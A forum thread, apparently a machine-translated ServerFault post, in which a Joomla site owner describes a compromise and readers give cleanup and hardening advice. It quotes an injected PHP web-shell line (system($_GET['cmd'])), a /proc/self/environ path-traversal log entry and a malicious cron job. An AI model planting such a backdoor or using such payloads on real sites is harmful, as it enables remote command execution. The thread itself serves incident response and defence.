Сайт Joomla, который я использую, на днях был взломан. Хакер сбросил некоторые файлы в каталог tmp и каким-то образом запускал там HTTP-демон (по крайней мере, так мне сказал мой хост). Во всяком случае, я пытался очистить файлы, которые они оставили, и защитить все, что могу, но, проверяя свои журналы, я заметил, что www.domain.com/?cmd=ls. Мне это показалось странным, поэтому я попробовал ... и вот, он перечисляет все файлы в корневом каталоге моего сайта. Может кто-нибудь объяснить мне, почему это происходит и как мне это остановить? Это похоже на огромный эксплойт, который я хотел бы немедленно устранить.
Обновить: При копании я заметил несколько дополнительных строк, добавленных в мой Joomla index.php:
if ($_GET['cmd']!=null) {
system($_GET['cmd']);
}
Я удалил их, но мне любопытно узнать, как злоумышленнику удалось отредактировать их с самого начала. Не совсем уверен, где искать, чтобы убедиться, что я закрыл все задние двери.
Больше обновлений: Во-первых, позвольте мне сказать, что да, я понимаю, что правильный курс действий здесь - удалить сайт и восстановить его из резервной копии. Однако я бы предпочел оставить это в крайнем случае, поскольку (а) это сайт, который зависит от вклада сообщества, и мои резервные копии не такие свежие (я знаю, моя вина) и (б) я работаю над новым версия, которая должна быть скоро готова. Но поскольку мне кажется, что здесь мне помогают, я добавлю кое-что из других вещей, которые я нашел / сделал в попытке исправить эту ситуацию.
Нашел какой-то .kin (или что-то в этом роде - не обратил на это внимания и сразу удалил) каталог в моей папке / tmp, который, очевидно, был местом, откуда запускался этот демон http. Я предполагаю, что архиватор (упомянутый ниже) был таким, как это было размещено здесь.
В моих файлах error_log я обнаружил следующие подозрительные записи ("..." - это моя попытка удалить путь / имена файлов из этого сообщения):
[04-Jul-2010 09:45:58] PHP Fatal error: Class 'CkformsController../../../../../../../../../../../../../../../proc/self/environ' not found in ... on line 24
[05-Jul-2010 12:31:30] PHP Notice: Undefined index: HTTP_USER_AGENT in ... on line 92
[04-Jul-2010 06:41:52] PHP Warning: rmdir(...) [<a href='function.rmdir'>function.rmdir</a>]: Directory not empty in ... on line 1719
Я обновил компонент CKForms (который был указан как имеющий известный эксплойт с версией, которую я использовал), а также еще один компонент, указанный в сообщении HTTP_USER_AGENT.
В журналах статистики я обнаружил, что один и тот же IP-адрес дважды пытался выполнить команду? Cmd = ls, поэтому я заблокировал этот IP-адрес (где-то в Индонезии).
Я обновил свою установку Joomla до последней версии.
Я нашел файлы system.ph и system.php в моем корневом каталоге, в которых была строка в кодировке gunzip / base64, которую я удалил.
Я просмотрел все каталоги в установке, где установлена недавняя временная метка, чтобы увидеть, существуют ли какие-либо аномальные файлы.
Удалено задание cron, указывающее на ... / tmp / .kin / up2you> / dev / null 2> & 1
Кроме того, я был бы обеспокоен тем, что даже если бы я восстановил из резервной копии, какой бы эксплойт не использовался, он все равно будет существовать, поэтому основная причина и предотвращение - это действительно то, к чему я здесь стремлюсь.
Ваш сервер сильно незащищен, вероятно, в результате взлома. Его нужно как можно скорее отключить от сети.
На этом этапе лучше всего стереть его, восстановить из резервной копии и убедиться, что он защищен. У вас почти не будет способа быть уверенным, что вы избавились от хакера / вируса / и т. Д., Если не сотрете его.
Я согласен с Крисом С. Вас слишком эксплуатируют. Вам нужно стереть и восстановить из резервной копии. И на этот раз, прежде чем вы начнете работать, вам нужно быть предельно осторожным с вашими разрешениями на запись и выполнение.
Как только злоумышленник получает доступ на уровне системы, вы больше не можете доверять своему коду.
Разрешения каталога ОГРОМНЫЕ. Это невозможно переоценить. Они загрузили код на ваш сайт с помощью эксплойта, но это можно сделать, только если ваш код может писать в локальные каталоги. Если это невозможно, или если локальные каталоги, в которые он МОЖЕТ записывать, не могут быть интерпретированы или использованы для размещения исполняемого кода, то ущерб, который может быть нанесен, чрезвычайно ограничен.
Я рекомендую удалить разрешения на запись везде, где вы можете, ВСЕХ, даже те, которые принадлежат root. Единственное, что в любом случае должно быть доступно для записи, - это каталоги загрузки и любой каталог, в котором хранятся ваши файлы сеанса. Если вы не разрешаете загрузку, то только каталог файлов сеанса, и этот каталог должен быть максимально заблокирован, насколько это возможно.
Вам также следует запускать регулярные проверки целостности файлов. К сожалению, это не так просто, если у вас нет полного доступа к серверу. Тем не менее, вы можете загружать сайт и регулярно сравнивать его с резервной копией. В идеале вы должны иметь возможность перезаписать весь сайт из резервной копии в любое время, и никто не заметит разницы.
Я категорически не согласен с утверждением Криса С. о том, что все файлы / каталоги должны принадлежать пользователю root. Есть причина для системы разрешений Unix.
Есть два основных способа запустить Apache / PHP. Один из них - запустить его от имени пользователя www-data, а файлы должны принадлежать пользователю без полномочий root. Apache работает как учетная запись с низким уровнем привилегий и должен иметь доступ к определенным каталогам / файлам для записи в них. Вот почему в Joomla есть ftp-слой, чтобы это компенсировать. Однако в среде общего сервера тот факт, что все файлы должны быть доступны для чтения всем, делает файлы конфигурации для других сайтов на этом компьютере легко читаемыми.
Другой способ - запустить Apache с PHP под управлением suPHP, что предпочитает CPanel. В этом случае Apache работает как пользователь с низкими привилегиями, но все запросы PHP передаются сценарию, который меняет владельца на имя пользователя, которому принадлежат файлы. Хотя теперь вы можете использовать разрешения Unix для предотвращения просмотра ваших каталогов другими мошенническими скриптами на машине, любой скомпрометированный скрипт PHP может быть запущен под вашим именем пользователя и, как следствие, изменить / деактивировать любой из файлов, принадлежащих вашему имени пользователя.
Поскольку вы плохо разбираетесь в безопасности серверов, поиск хорошо спрятанных руткитов и т. Д. На машине не будет увлекательной задачей. Во-первых, вам нужно знать, можно ли использовать ядро (если вы не используете самое последнее ядро, ответ - да), и было ли что-то затронуто. Этот конкретный взлом обычно происходит через взломанную учетную запись FTP, после чего они могут выполнять сценарии. Поскольку вы нашли этот код, это также предполагает, что «хакер», использующий его, был не очень изощрен. Есть много способов, которыми он мог спрятать этот код и не дать вашим журналам увидеть, что он делал.
моджа правильный. Попав в систему, они пытаются запустить сценарий из /dev/shm/.something или / tmp, который подключается к их IRC-сети, или действует как бот-захватчик в undernet или другой конкурирующей сети. Скорее всего, вы обнаружите один или два запущенных сценария, возможно, запись cron для его перезапуска и другие удаленные оболочки, скрытые во всей вашей установке Joomla. Найдите файлы в каталоге / uploads или / images, названные аналогично существующим файлам. т.е. img_1034.jpg.php. Обычно они прячут своего irc-бота в нескольких местах, недоступных в Интернете, чтобы вы не наткнулись на них при входе в систему, но они спрятали свои удаленные оболочки в местах, чтобы они могли вернуться и перезапустить свои скрипт и переподключить его к их сети.
В любом случае задача, с которой вы столкнулись, несколько непростая. У вас есть сайт, на котором вам нужно оставаться в сети, вам не хватает опыта в подобных ситуациях, и вы просто хотите, чтобы ваш сайт работал.
Сделайте дамп своей базы данных с помощью функции экспорта Joomla, убедитесь, что это полный дамп. Создайте второй сайт и импортируйте дамп, чтобы проверить его. Убедившись, что у вас есть хороший импортируемый дамп, сделайте резервную копию сайта. Удалите все файлы, переустановите Joomla, базовую установку, используйте существующую информацию о подключении MySQL - он может подумать, что вы выполняете обновление, и в этом случае разрешите обновление. Если вы где-то используете VPS, возможно, они передадут вам свежий образ и переустановят.
Как вы сказали, человек / группа, ответственная за взлом вашего сервера, оставила веб-сервер, настроенный под его нужды (также называемый Shellbot, обычно написанный на Perl / Python). Это пользовательский веб-интерфейс, позволяющий вводить пользовательские команды с помощью простых параметров.
Ls является базовым и относительно безвредным. Вероятно, он также использовался для запуска других, более опасных команд.
Если это Linux, попробуйте посмотреть, какие процессы запущены, с помощью lsof (lsof -i tcp: 80).